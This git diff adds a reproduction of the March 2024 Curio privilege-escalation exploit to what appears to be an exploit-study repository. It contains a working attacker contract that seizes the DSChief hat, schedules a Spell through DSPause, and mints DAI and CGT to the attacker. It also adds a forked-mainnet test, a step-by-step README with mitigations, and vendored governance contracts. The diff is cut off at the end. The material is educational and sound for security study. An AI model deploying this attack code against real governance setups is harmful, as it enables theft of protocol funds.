diff --git a/README.md b/README.md index f6e417a..52fb77d 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ The full list is below: - [Sandbox, Feb 2022 - (1 NFT, possibly more) - Public Burn](/test/Access_Control/Sandbox) - [Punk Protocol, Aug 2021 - (~$8MM) - Non initialized contract](/test/Access_Control/PunkProtocol) - [MBC Token, Nov 2022 - (~$8MM) - External function](/test/Access_Control/MBCToken) +- [Curio Token, Mar 2024 - (~$16MM) - Privilege escalation](/test/Access_Control/Curio) ### Bad Data Validation - [Olympus DAO Bond, Oct 2022 - (~$300,000) - Arbitrary Tokens / Unchecked transfers](/test/Bad_Data_Validation/Bond_OlympusDAO/) diff --git a/lib/forge-std b/lib/forge-std index 4513bc2..e8a047e 160000 --- a/lib/forge-std +++ b/lib/forge-std @@ -1 +1 @@ -Subproject commit 4513bc2063f23c57bee6558799584b518d387a39 +Subproject commit e8a047e3f40f13fa37af6fe14e6e06283d9a060e diff --git a/lib/solmate b/lib/solmate index c892309..2001af4 160000 --- a/lib/solmate +++ b/lib/solmate @@ -1 +1 @@ -Subproject commit c892309933b25c03d32b1b0d674df7ae292ba925 +Subproject commit 2001af43aedb46fdc2335d2a7714fb2dae7cfcd1 diff --git a/test/Access_Control/Curio/AttackerContract.sol b/test/Access_Control/Curio/AttackerContract.sol new file mode 100644 index 0000000..0869959 --- /dev/null +++ b/test/Access_Control/Curio/AttackerContract.sol @@ -0,0 +1,78 @@ +pragma solidity ^0.8.24; + +import "./Interfaces.sol"; +import "forge-std/console.sol"; +import "./ds-contracts/Chief/chief.sol"; +import "./ds-contracts/pause.sol"; + +// Contract used by the attacker to get outstanding CGT balance +// The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code +contract Action { + IDSChief public chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); + DSPause public pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); + Spell spell; + + address public pans; // the attacker named the deployer after pans + + constructor() { + pans = msg.sender; + } + + modifier onlyPans() { + require(pans == msg.sender, "not pans"); + _; + } + + function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans { + IERC20 cgt = IERC20(_cgt); + cgt.transferFrom(msg.sender, address(this), amount); + + cgt.approve(address(chief), amount); + + chief.lock(amount); + console.log("CGT Balance after locking in chief: %s", cgt.balanceOf(address(this))); + + address[] memory _yays = new address[](1); + _yays[0] = address(this); + chief.vote(_yays); + chief.lift(address(this)); + + spell = new Spell(); + address spellAddr = address(spell); + bytes32 tag; + assembly { + tag := extcodehash(spellAddr) + } + + bytes memory funcSig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt)); + uint256 delay = block.timestamp + 0; + + pause.plot(spellAddr, tag, funcSig, delay); + pause.exec(spellAddr, tag, funcSig, delay); + } +} + +contract Spell { + function act(address user, IMERC20 cgt) public { + IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); + IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); + + vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); + + vat.hope(address(daiJoin)); + daiJoin.exit(user, 10 ** 9 * 1 ether); + + cgt.mint(user, 10 ** 12 * 1 ether); + } + + // Methods in attacker's spell. Used later on to perform the swaps. + // Not strictly required for the attack. + function clean(IMERC20 cgt) external { + // Anti-mev + cgt.stop(); + } + + function cleanToo(IMERC20 cgt) external { + cgt.start(); + } +} diff --git a/test/Access_Control/Curio/Curio.attack.sol b/test/Access_Control/Curio/Curio.attack.sol new file mode 100644 index 0000000..9329137 --- /dev/null +++ b/test/Access_Control/Curio/Curio.attack.sol @@ -0,0 +1,137 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import {TestHarness} from "../../TestHarness.sol"; +import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; +import "./AttackerContract.sol"; +import "./Interfaces.sol"; +import "./ds-contracts/vat.sol"; +import "./ds-contracts/join.sol"; +import "./ds-contracts/Chief/chief.sol"; + +contract Exploit_Curio is TestHarness, TokenBalanceTracker { + // Instances of tokens involved + IDSToken cgtToken = IDSToken(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a); + IMERC20 curioCSCToken = IMERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB); + + // Instances of relevant contracts + Action attackerContract; + DSChief chief; + DSPause pause; + Vat vat; + DaiJoin daiJoin; + IMERC20 IOU; + + // Peripheral contracts + IForeignOmnibridge foreignOmniBridge = IForeignOmnibridge(0x69c707d975e8d883920003CC357E556a4732CD03); + ICurioBridge curioBridge = ICurioBridge(0x9b8A09b3f538666479a66888441E15DDE8d13412); + + address ATTACKER = makeAddr("ATTACKER"); + + function setUp() external { + // Attack tx: 0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106 + + // Create a fork right before the attack started + cheat.createSelectFork("mainnet", 19_498_910); + + // Setup attackers account + deal(address(cgtToken), ATTACKER, 100 ether); + + // Initialize labels and token tracker + _labelAccounts(); + _tokenTrackerSetup(); + } + + function test_attack() public { + console.log("\n==== STEP 0: Instance protocol contracts ===="); + // These contracts were deployed almost 3 years before the attack by Curio + _instanceCurioContracts(); + + console.log("\n==== STEP 1: Send tokens to Omnibridge ===="); + // Approve tx: 0x0b4a076b4fe1d873b75e7fadc3d99e0240a61fa23f5327782416588f09c32295 + // Relay tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 + cheat.startPrank(ATTACKER); + cgtToken.approve(address(foreignOmniBridge), 10 ether); + foreignOmniBridge.relayTokens(address(cgtToken), 10 ether); + console.log("Relay successful"); + cheat.stopPrank(); + + console.log("\n==== STEP 2: Lock tokens to Curio Bridge ===="); + // Approve tx: 0x08e5c70d3407acec5cb85ff064e5fe029eca191d16966d1aaac6613702a0c6ce + // Lock tx: 0xf653d1d9c18bf0be78c5b7a2c58c9286bf02fd2b4c8d2106180929526b7fc151 + cheat.startPrank(ATTACKER); + cgtToken.approve(address(curioBridge), 10 ether); + curioBridge.lock(bytes32(0), address(cgtToken), 10 ether); + // we pass an arb to address on Curio Parachain + console.log("Lock successful"); + cheat.stopPrank(); + + console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ===="); + // Deploy tx: 0x99cc992de6e42a0817713489aeeb21f2d5e5fdca1f833826be09a9f35e5654e3 + cheat.prank(ATTACKER); + attackerContract = new Action(); + require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); + console.log("Attacker's contract deployement successful at: %s", address(attackerContract)); + + console.log("\n==== STEP 4: Call cook() on Action, start attack ===="); + console.log("== Before attack =="); + address _hat = chief.hat(); + console.log("Chief hat: %s", _hat); + console.log("Chief approvals: %s", chief.approvals(_hat)); + console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract))); + console.log("\n"); + + cheat.startPrank(ATTACKER); + cgtToken.approve(address(attackerContract), 2 ether); // 0x6a4cb2aa03ebf35f25e9f34a1727f7e0ea34c5e59cebc85b9e9c0729c6b0ad59 + attackerContract.cook(address(cgtToken), 2 ether, 10 ether, 10 ether); + cheat.stopPrank(); + + console.log("\n== After attack =="); + _hat = chief.hat(); + console.log("Chief hat: %s", _hat); + console.log("Chief approvals: %s", chief.approvals(_hat)); + console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract))); + + // the last two params were set to some arbitrary-like values but are unused in the call. + // Just for profit checks: + /* + require(weth.balanceOf(address(this)) >= wethMin, "not enought weth"); + require(dai.balanceOf(address(this)) >= daiMin, "not enought dai"); + */ + } + + function _instanceCurioContracts() internal { + // CSC Curio Token deployer: 0x63eA2D3fCb0759Ab9aD46eDc5269D7DebD0BDbe6 + + // IOU deployment: 0x8b8ef358b5407298bc7e77e77575993a3f559b4f343e26f1c5cf721e6922cf46 + IOU = IMERC20(0xD29CAB1a24fC9fa22a035A7c3a0bF54a7cE7598D); + + // Chief deployment: 0x83661c0bb2d1288c523aba5aaa9f78d237eb6d068f5374ce221c38b0c088c598 + chief = DSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); + + // Pause deployment: 0x5629b47d48a6af2956ce0ab966c8aa7a7fb99d6d1ebfa17d359f129b00b60aa2 + pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); + + // Vat deployment: 0x5fcb57eb4326220c3c0ae53cd78defed530a8cd4dddde28a45c4c7cd9a06b5f2 + vat = Vat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); + + // DaiJoin deployment: 0xb467409f36f03fd0328e49858bfbd662b15a362fd932ed8c3e20892bba39229f + daiJoin = DaiJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); + } + + function _labelAccounts() internal { + cheat.label(ATTACKER, "Attacker"); + + cheat.label(address(foreignOmniBridge), "ForeignOmniBridge"); + cheat.label(address(cgtToken), "CGT Token"); + cheat.label(address(curioCSCToken), "CSC Token"); + } + + function _tokenTrackerSetup() internal { + // Add relevant tokens to tracker + + // Initialize user's state + updateBalanceTracker(address(this)); + } +} diff --git a/test/Access_Control/Curio/Interfaces.sol b/test/Access_Control/Curio/Interfaces.sol new file mode 100644 index 0000000..7538f21 --- /dev/null +++ b/test/Access_Control/Curio/Interfaces.sol @@ -0,0 +1,44 @@ +import {IERC20} from "../../interfaces/IERC20.sol"; + +interface IDSToken is IERC20 { + function pull(address src, uint256 wad) external; // makes a transferFrom + function mint(address to, uint256 amount) external; +} + +interface IMERC20 is IERC20 { + function mint(address guy, uint256 wad) external; + function burn(address guy, uint256 wad) external; + function start() external; + function stop() external; +} + +interface IVat { + function suck(address u, address v, uint256 rad) external; + function hope(address usr) external; +} + +interface IJoin { + function exit(address usr, uint256 wad) external; +} + +interface IForeignOmnibridge { + function relayTokens(address token, uint256 _value) external; +} + +interface ICurioBridge { + function lock(bytes32 to, address token, uint256 amount) external; +} + +// Interfaces used by the attacker on their contract +interface IDSChief { + function lock(uint256 wad) external; + function vote(address[] memory yays) external returns (bytes32); + function lift(address whom) external; +} + +interface IDSPause { + function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) external; + function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) + external + returns (bytes memory out); +} diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md new file mode 100644 index 0000000..f5e00da --- /dev/null +++ b/test/Access_Control/Curio/README.md @@ -0,0 +1,198 @@ +# Curio Privilege Escalation +- **Type:** Exploit +- **Network:** Ethereum +- **Total lost**: ~16MM USD +- **Category:** Access Control +- **Vulnerable contracts:** +- - [Curio Chief](https://etherscan.io/address/0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0#code) +- - [Curio Pause](https://etherscan.io/address/0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f#code) + +- **Attack transactions:** +- - [Privilege escalation and mint](https://etherscan.io/tx/0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106) + +- **Attacker Addresses**: +- - Attacker EOA: [0xdaAa6294C47b5743BDafe0613d1926eE27ae8cf5](https://etherscan.io/address/0xdaAa6294C47b5743BDafe0613d1926eE27ae8cf5) +- - Attacker Contract (verified): [0x1E791527AEA32cDDBD7CeB7F04612DB536816545](https://etherscan.io/address/0x1E791527AEA32cDDBD7CeB7F04612DB536816545) + +- **Attack Block:**: `19,498,911` +- **Date:** Mar 23, 2024 +- **Reproduce:** `forge test --match-contract=Exploit_Curio -vvv` + +## Step-by-step +1. The attacker locked tokens into the `DSChief` contract. +2. Accumulated enough voting power. +3. Displaced (lifted) the current hat and set their contract as the new hat (without requiring many tokens). +4. The `DSPause` contract, upon making a `delegatecall`, checked `DSChief.canCall`, which returned true for the attacker's contract. +5. Consuming the authorized minter role from `DSPause`, the attacker executed a malicious instructions through a custom `Spell` contract to mint tokens directly to themselves. + + +## Detailed Description +Curio Finance leverages MakerDAO contracts for managing specific protocol functionalities. Their CSC Curio token, a `DSToken`, designates the `DSPauseProxy` contract as its minter. The `DSPause` contract relies on `DSChief.canCall` to verify if an authorized (privileged) call is permitted. +Then, executes a `delegatecall` through its proxy. + +The operational vulnerability resided in the `DSChief` contract, which manages a HAT account that can be reconfigured with not much voting power. The attacker exploited this by locking tokens in `DSChief`, getting enough votes to lift and displace the current hat, subsequently positioning their contract as the new hat. The main issue was that the previous hat (Curio's `DSSSpell`) did not have enough voting power to consider the system safe, which allowed the easy and cheap displacement. + +The attacker was able to displace the `hat` by making the following calls on [chief.sol](https://github.com/CurioTeam/ds-chief/blob/simplify/src/chief.sol). + +- Get initial voting weight. +```solidity + function lock(uint128 wad) + note + { + GOV.pull(msg.sender, wad); + IOU.mint(wad); + IOU.push(msg.sender, wad); + deposits[msg.sender] = wadd(deposits[msg.sender], wad); + addWeight(wad, votes[msg.sender]); + } + + function addWeight(uint128 weight, bytes32 slate) + internal + { + var yays = slates[slate]; + for( uint i = 0; i < yays.length; i++) { + approvals[yays[i]] = wadd(approvals[yays[i]], weight); + } + } +``` + +```solidity + function vote(bytes32 slate) + note + { + uint128 weight = deposits[msg.sender]; + subWeight(weight, votes[msg.sender]); + votes[msg.sender] = slate; + addWeight(weight, votes[msg.sender]); + } +``` + +- Displace the previous hat: +```solidity + function lift(address whom) + note + { + require(approvals[whom] > approvals[hat]); + hat = whom; + } +``` + +Since the authorized minter of the CSC Token is the `DSPauseProxy` which is controlled by the `DSPause` contract, by getting enough privileges through +the escalation made on the Chief the attacker was able to make the arbitrary `delegatecall` from the proxy. + +- [`roles.sol`](https://github.com/dapphub/ds-roles/blob/495863375b87efe062eb3b723e6a199633ec7e51/src/roles.sol#L40): + +These functions were called from the pause contract to validate the caller's privileges. +```solidity + function canCall(address caller, address code, bytes4 sig) + constant + returns (bool) + { + if( isUserRoot(caller) || isCapabilityPublic(code, sig) ) { + return true; + } else { + var has_roles = getUserRoles(caller); + var needs_one_of = getCapabilityRoles(code, sig); + return bytes32(0) != has_roles & needs_one_of; + } + } +``` + +- `chief.sol`: +```solidity + function isUserRoot(address who) + constant + returns (bool) + { + return (who == hat); + } +``` + +- [`pause.sol`](https://github.com/CurioTeam/ds-pause/blob/solc-0.5-0.6/src/pause.sol): + +```solidity + modifier auth { + require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); + _; + } + + function isAuthorized(address src, bytes4 sig) internal view returns (bool) { + if (src == address(this)) { + return true; + } else if (src == owner) { + return true; + } else if (authority == address(0)) { + return false; + } else { + return DSAuthority(authority).canCall(src, address(this), sig); + } + } +``` + +The following functions were used to enqueue and call for the execution on `DSPause`. +```solidity + function plot(address usr, bytes32 tag, bytes memory fax, uint eta) + public note auth + { + require(eta >= add(now, delay), "ds-pause-delay-not-respected"); + plans[hash(usr, tag, fax, eta)] = true; + } +``` + +```solidity + function exec(address usr, bytes32 tag, bytes memory fax, uint eta) + public note + returns (bytes memory out) + { + require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan"); + require(soul(usr) == tag, "ds-pause-wrong-codehash"); + require(now >= eta, "ds-pause-premature-exec"); + + plans[hash(usr, tag, fax, eta)] = false; + + out = proxy.exec(usr, fax); + require(proxy.owner() == address(this), "ds-pause-illegal-storage-change"); + } +``` + +Finally, make the `delegatecall` from the `DSPauseProxy`: + +```solidity + function exec(address usr, bytes memory fax) + public auth + returns (bytes memory out) + { + bool ok; + (ok, out) = usr.delegatecall(fax); + require(ok, "ds-pause-delegatecall-error"); + } +``` + +Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with `delegatecall` and got minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address. + +- `Spell` contract: +```solidity + function act(address user, IMERC20 cgt) public { + IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); + IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); + + vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); + + vat.hope(address(daiJoin)); + daiJoin.exit(user, 10 ** 9 * 1 ether); + + cgt.mint(user, 10 ** 12 * 1 ether); + } +``` + +Then, the attacker made multiple swaps and cross-chain transfers using different providers. + +## Possible mitigations +1. Implement stringent access controls to prevent unauthorized role changes +2. Simulate and test safe operative values for voting power. +3. The system's voting power and privileges setup should be robust enough to prevent/handle voting power manipulation attacks, collusion, among others. + +## Sources and references +- [Curio Tweet](https://twitter.com/curio_invest/status/1771635979192774674) +- [Hacken Tweet](https://x.com/hackenclub/status/1772288824799801401) +- [Rekt Article](https://rekt.news/curio-rekt/) diff --git a/test/Access_Control/Curio/ds-contracts/Chief/auth.sol b/test/Access_Control/Curio/ds-contracts/Chief/auth.sol new file mode 100644 index 0000000..6d7f5ad --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/auth.sol @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: GNU-3 +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +interface DSAuthority { + function canCall(address src, address dst, bytes4 sig) external view returns (bool); +} + +contract DSAuthEvents { + event LogSetAuthority(address indexed authority); + event LogSetOwner(address indexed owner); +} + +contract DSAuth is DSAuthEvents { + DSAuthority public authority; + address public owner; + + constructor() public { + owner = msg.sender; + emit LogSetOwner(msg.sender); + } + + function setOwner(address owner_) public virtual auth { + owner = owner_; + emit LogSetOwner(owner); + } + + function setAuthority(DSAuthority authority_) public virtual auth { + authority = authority_; + emit LogSetAuthority(address(authority)); + } + + modifier auth() { + require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); + _; + } + + function isAuthorized(address src, bytes4 sig) internal view returns (bool) { + if (src == address(this)) { + return true; + } else if (src == owner) { + return true; + } else if (authority == DSAuthority(address(0))) { + return false; + } else { + return authority.canCall(src, address(this), sig); + } + } +} diff --git a/test/Access_Control/Curio/ds-contracts/Chief/chief.sol b/test/Access_Control/Curio/ds-contracts/Chief/chief.sol new file mode 100644 index 0000000..3e6909f --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/chief.sol @@ -0,0 +1,173 @@ +// chief.sol - select an authority by consensus + +// Copyright (C) 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./token.sol"; +import "./roles.sol"; +import "./thing.sol"; + +// The right way to use this contract is probably to mix it with some kind +// of `DSAuthority`, like with `ds-roles`. +// SEE DSChief +contract DSChiefApprovals is DSThing { + mapping(bytes32 => address[]) public slates; + mapping(address => bytes32) public votes; + mapping(address => uint256) public approvals; + mapping(address => uint256) public deposits; + DSToken public GOV; // voting token that gets locked up + DSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms + address public hat; // the chieftain's hat + + uint256 public MAX_YAYS; + + mapping(address => uint256) public last; + + bool public live; + + uint256 constant LAUNCH_THRESHOLD = 80_000 * 10 ** 18; // 80K MKR launch threshold + + event Etch(bytes32 indexed slate); + + // IOU constructed outside this contract reduces deployment costs significantly + // lock/free/vote are quite sensitive to token invariants. Caution is advised. + constructor(DSToken GOV_, DSToken IOU_, uint256 MAX_YAYS_) public { + GOV = GOV_; + IOU = IOU_; + MAX_YAYS = MAX_YAYS_; + } + + function launch() public note { + require(!live); + require(hat == address(0) && approvals[address(0)] >= LAUNCH_THRESHOLD); + live = true; + } + + function lock(uint256 wad) public note { + last[msg.sender] = block.number; + GOV.pull(msg.sender, wad); + IOU.mint(msg.sender, wad); + deposits[msg.sender] = add(deposits[msg.sender], wad); + addWeight(wad, votes[msg.sender]); + } + + function free(uint256 wad) public note { + require(block.number > last[msg.sender]); + deposits[msg.sender] = sub(deposits[msg.sender], wad); + subWeight(wad, votes[msg.sender]); + IOU.burn(msg.sender, wad); + GOV.push(msg.sender, wad); + } + + function etch(address[] memory yays) public note returns (bytes32 slate) { + require(yays.length <= MAX_YAYS); + requireByteOrderedSet(yays); + + bytes32 hash = keccak256(abi.encodePacked(yays)); + slates[hash] = yays; + emit Etch(hash); + return hash; + } + + function vote(address[] memory yays) public returns (bytes32) + // note both sub-calls note + { + bytes32 slate = etch(yays); + vote(slate); + return slate; + } + + function vote(bytes32 slate) public note { + require( + slates[slate].length > 0 + || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, + "ds-chief-invalid-slate" + ); + uint256 weight = deposits[msg.sender]; + subWeight(weight, votes[msg.sender]); + votes[msg.sender] = slate; + addWeight(weight, votes[msg.sender]); + } + + // like `drop`/`swap` except simply "elect this address if it is higher than current hat" + function lift(address whom) public note { + require(approvals[whom] > approvals[hat]); + hat = whom; + } + + function addWeight(uint256 weight, bytes32 slate) internal { + address[] storage yays = slates[slate]; + for (uint256 i = 0; i < yays.length; i++) { + approvals[yays[i]] = add(approvals[yays[i]], weight); + } + } + + function subWeight(uint256 weight, bytes32 slate) internal { + address[] storage yays = slates[slate]; + for (uint256 i = 0; i < yays.length; i++) { + approvals[yays[i]] = sub(approvals[yays[i]], weight); + } + } + + // Throws unless the array of addresses is a ordered set. + function requireByteOrderedSet(address[] memory yays) internal pure { + if (yays.length == 0 || yays.length == 1) { + return; + } + for (uint256 i = 0; i < yays.length - 1; i++) { + // strict inequality ensures both ordering and uniqueness + require(uint160(yays[i]) < uint160(yays[i + 1])); + } + } +} + +// `hat` address is unique root user (has every role) and the +// unique owner of role 0 (typically 'sys' or 'internal') +contract DSChief is DSRoles, DSChiefApprovals { + constructor(DSToken GOV, DSToken IOU, uint256 MAX_YAYS) public DSChiefApprovals(GOV, IOU, MAX_YAYS) { + authority = this; + owner = address(0); + } + + function setOwner(address owner_) public override { + owner_; + revert(); + } + + function setAuthority(DSAuthority authority_) public override { + authority_; + revert(); + } + + function isUserRoot(address who) public view override returns (bool) { + return (live && who == hat); + } + + function setRootUser(address who, bool enabled) public override { + who; + enabled; + revert(); + } +} + +contract DSChiefFab { + function newChief(DSToken gov, uint256 MAX_YAYS) public returns (DSChief chief) { + DSToken iou = new DSToken("IOU"); + chief = new DSChief(gov, iou, MAX_YAYS); + iou.setOwner(address(chief)); + } +} diff --git a/test/Access_Control/Curio/ds-contracts/Chief/math.sol b/test/Access_Control/Curio/ds-contracts/Chief/math.sol new file mode 100644 index 0000000..230bdb8 --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/math.sol @@ -0,0 +1,96 @@ +/// math.sol -- mixin for inline numerical wizardry + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >0.4.13; + +contract DSMath { + function add(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x + y) >= x, "ds-math-add-overflow"); + } + + function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x - y) <= x, "ds-math-sub-underflow"); + } + + function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); + } + + function min(uint256 x, uint256 y) internal pure returns (uint256 z) { + return x <= y ? x : y; + } + + function max(uint256 x, uint256 y) internal pure returns (uint256 z) { + return x >= y ? x : y; + } + + function imin(int256 x, int256 y) internal pure returns (int256 z) { + return x <= y ? x : y; + } + + function imax(int256 x, int256 y) internal pure returns (int256 z) { + return x >= y ? x : y; + } + + uint256 constant WAD = 10 ** 18; + uint256 constant RAY = 10 ** 27; + + //rounds to zero if x*y < WAD / 2 + function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, y), WAD / 2) / WAD; + } + //rounds to zero if x*y < WAD / 2 + + function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, y), RAY / 2) / RAY; + } + //rounds to zero if x*y < WAD / 2 + + function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, WAD), y / 2) / y; + } + //rounds to zero if x*y < RAY / 2 + + function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { + z = add(mul(x, RAY), y / 2) / y; + } + + // This famous algorithm is called "exponentiation by squaring" + // and calculates x^n with x as fixed-point and n as regular unsigned. + // + // It's O(log n), instead of O(n) for naive repeated multiplication. + // + // These facts are why it works: + // + // If n is even, then x^n = (x^2)^(n/2). + // If n is odd, then x^n = x * x^(n-1), + // and applying the equation for even x gives + // x^n = x * (x^2)^((n-1) / 2). + // + // Also, EVM division is flooring and + // floor[(n-1) / 2] = floor[n / 2]. + // + function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { + z = n % 2 != 0 ? x : RAY; + + for (n /= 2; n != 0; n /= 2) { + x = rmul(x, x); + + if (n % 2 != 0) { + z = rmul(z, x); + } + } + } +} diff --git a/test/Access_Control/Curio/ds-contracts/Chief/note.sol b/test/Access_Control/Curio/ds-contracts/Chief/note.sol new file mode 100644 index 0000000..cdd6116 --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/note.sol @@ -0,0 +1,43 @@ +/// note.sol -- the `note' modifier, for logging calls as events + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +contract DSNote { + event LogNote( + bytes4 indexed sig, + address indexed guy, + bytes32 indexed foo, + bytes32 indexed bar, + uint256 wad, + bytes fax + ) anonymous; + + modifier note() { + bytes32 foo; + bytes32 bar; + uint256 wad; + + assembly { + foo := calldataload(4) + bar := calldataload(36) + wad := callvalue() + } + + _; + + emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); + } +} diff --git a/test/Access_Control/Curio/ds-contracts/Chief/roles.sol b/test/Access_Control/Curio/ds-contracts/Chief/roles.sol new file mode 100644 index 0000000..82044dc --- /dev/null +++ b/test/Access_Control/Curio/ds-contracts/Chief/roles.sol @@ -0,0 +1,91 @@ +// roles.sol - roled based authentication + +// Copyright (C) 2017 DappHub, LLC + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity >=0.8.23; + +import "./auth.sol"; + +contract DSRoles is DSAuth, DSAuthority { + mapping(address => bool) _root_users; + mapping(address => bytes32) _user_roles; + mapping(address => mapping(bytes4 => bytes32)) _capability_roles; + mapping(address => mapping(bytes4 => bool)) _public_capabilities; + + function getUserRoles(address who) public view returns (bytes32) { + return _user_roles[who]; + } + + function getCapabilityRoles(address code, bytes4 sig) public view returns (bytes32) { + return _capability_roles[code][sig]; + } + + function isUserRoot(address who) public view virtual returns (bool) { + return _root_users[who]; + } + + function isCapabilityPublic(address code, bytes4 sig) public view returns (bool) { + return _public_capabilities[code][sig]; + } + + function hasUserRole(address who, uint8 role) public view returns (bool) { + bytes32 roles = getUserRoles(who); + bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role))); + return bytes32(0) != roles & shifted; + } + + function canCall(address caller, address code, bytes4 sig) public view returns (bool) { + if (isUserRoot(caller) || isCapabilityPublic(code, sig)) { + return true; + } else { + bytes32 has_roles = getUserRoles(caller); + bytes32 needs_one_of = getCapabilityRoles(code, sig); + return bytes32(0) != has_roles & needs_one_of; + } + } + + function BITNOT(bytes32 input) internal pure returns (bytes32 output) { + return (input ^ bytes32(type(uint256).max)); + } + + function setRootUser(address who, bool enabled) public virtual auth { + _root_users[who] = enabled; + } + + function setUserRole(address who, uint8 role, bool enabled) public auth { + bytes32 last_roles = _user_roles[who]; + bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role))); + if (enabled) { + _user_roles[who] = last_roles | shifted; + } else { + _user_roles[who] = last_roles & BITNOT(shifted); + } + } + + function setPublicCapability(address code, bytes4 sig, bool enabled) public auth { + _public_capabilities[code][sig] = enabled; + } + + function setRoleCapability(uint8 role, address code, bytes4 sig, bool enabled) public auth { + bytes32 last_roles = _capability_roles[code][sig]; + bytes32 shifted = bytes32(uint256(uint256(2) ** uint256(role))); + if (enabled) { + _capability_roles[code][sig] = last_roles | shifted; + } else { + _capability_roles[code][sig] = last_roles & BITNOT(shifted); + } + } +} diff --git 